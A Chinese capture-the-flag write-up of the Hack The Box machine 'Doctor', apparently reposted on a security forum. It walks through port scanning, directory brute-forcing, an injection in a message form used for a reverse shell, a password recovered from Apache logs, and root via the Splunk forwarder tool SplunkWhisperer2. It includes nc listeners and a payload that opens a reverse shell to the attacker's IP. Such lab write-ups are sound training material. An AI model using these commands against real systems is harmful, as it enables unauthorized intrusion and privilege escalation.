标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-2829] 作者: hudie 发表于: [2021-02-04] [2021-02-04]被用户:hudie 修改过
本文共 [324] 位读者顶过
靶机名称:Doctor
靶机IP:10.10.10.209
攻击机IP:10.10.14.175 ==》10.10.10.153
kali中访问目标IP:
[出自:jiwo.org]
利用Nmap探测开放端口服务:
nmap -sC -sV 10.10.10.209 得到端口:22、80、8089
每个端口都尝试登陆了一遍啥结果也没有
查看了源码无任何发现,但是在首页有个 send us a message 字样 信息提示为:info@doctors.htb
尝试直接去访问这个地址,无结果:
在kali中修改hosts文件,添加这个域名与IP,使用域名解析到这个地址
vi /etc/hosts 10.10.10.209 doctors.htb
然后再访问域名:doctors.htb
看到登陆框,首先想到注入,简单的测试一波:
' or 1=1 -- -
啥都么得QAQ
域名到手必然扫目录
使用gobuster
安装gobuster 可直接使用 apt安装:
apt install gobuster gobuster dir -u http://doctors.htb/ -w /usr/share/wordlists/dirbuster/directory/directory-list-lowercase-2.3-medium.txt -t 100 -e
参数详解:
-u 目标URL
-w 使用爆破字典的路径(这里使用的是dirbuster 的字典,自己有更好的也可以自行选择)
-t 并发线程数
-e 打印完整的URL
得到四个目录:
http://doctors.htb/home
http://doctors.htb/login
http://doctors.htb/register
啥页没有
去http://doctors.htb/register 注册页面注册一手
账号:test
密码:test
邮箱:test@gmail.com
注册成功后登陆
进去后长这样:
点了点界面的”1“ 按钮 查看页面源代码,一顿点,没有任何收获,在右上角发现了 New message点击进入:
随便输入点什么 看看效果:看上去是存储型XSS的样子,提交之后又去之前那个空白页面的源码看了看,发现:
输入的所有内容,都会被保存在网页,确定了是存储型XSS,就构造XSS代码,反弹shell
1. 存储型XSS原理:是持久性跨站脚本攻击,持久性体现在XSS恶意代码不是在某个参数(变量)中,而是写入了数据库或者网页,XSS使用的是JS代码,所以其运行环境是在浏览器中,只要受害者浏览包含此恶意代码的页面,就会执行该恶意脚本。
2. 存储型XSS通常发生在留言板、评论、博客日志等交互地方。
先在本地开启端口监听:
nc -nlvp 2222 构造XSS反弹shell代码,提交:
1. 绝对的URL 指向其他站点:http://10.10.14.175/
2. Shell 脚本中有个变量叫IFS(Internal Field Seprator),$IFS = 内部域分隔符,也就是空格
3. nc.traditional$IFS-e 意思是用 nc的 traditional 版本,因为这个版本的 -e 参数可以直接反弹sehll
连接之后:
是一个简单的无交互shell,利用python3 提供的 pty模块升级shell,可重新创建一个原生终端
python3 -c 'import pty;pty.spawn("/bin/bash")'
翻了翻目录,发现在 /home 用户目录列表下 有两个用户 一个 web 用户 一个 shaun ,通过 whoami 可知,我当前用户为 web
先翻翻看这两个目录,在shaun用户中发现 user.txt文件,可是无权限查看,看来是需要提权:
再看看另一个用户 shaun 下面有什么,切换用户: su shaun
需要输入密码,试了几个常用的弱口令都不行,先放一放,继续
查看下用户组:
groups
得到两个组,其中有个一个 web 一个
adm,web就不用说了,是我们目前所属组,adm
是在Ubuntu中的一个组,该组仅适合于查看/var/log其中的所有日志文件(以前称为/var/adm)
,欸,到这就可以想到了,通过查看日志,也许可以找到shaun用户登陆的日志,日志中记录了密码。
进入 /var/log,通过之前的端口扫描可知,使用了apache服务,寻找apache访问日志
进入该目录:
cd apache2 发现备份文件
查看该文件:
cat backup
得到密码:Guitar123
再次尝试登陆 shaun 用户:
su shaun
输入密码:Guitar123
回到/home/shaun 用户目录下去看看之前没权限查看的user.txt,得到hash
bf8e608ea16d7b9df5f37046bf280cf7
(因为网络问题,重启了虚拟机,此时攻击机IP由原本的10.10.10.175换成了10.10.10.153)
下一步:获取root权限:
su -l #切换为root用户
不知道密码,想起我们之前信息收集的时候,开放的8089端口应用了Splunk程序。
Splunk:分索引器和转发器。类似Server和client的概念。 转发器将本地应用日志生成索引发往服务端。日志统一在服务器侧查看。
通常用作安全信息和事件监视(SIEM)系统。Splunk Enterprise Server是一个在服务器上运行的Web应用程序,通用转发器可在每个主机上访问,网址为https:// host:8089。访问任何受保护的API调用。
本次靶机试验拿到root权限漏洞点:
具有Splunk通用转发代理密码的攻击者可以完全危害网络中的所有Splunk主机,并在每个主机上获得SYSTEM或root级权限。
可利用 SplunkWhisperer2 工具进行本地提权 工具下载地址:https://github.com/cnotin/SplunkWhisperer2
下载安装完毕后执行以下命令,获取root 权限
先打开监听端口:
nc -nlvp 8888 python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.153 --username shaun --password Guitar123 --payload 'nc.traditional -e/bin/bash '10.10.14.153' '8888''
再次升级shenll
python3 -c 'import pty;pty.spawn("/bin/bash")'
提交两个hash过关。 |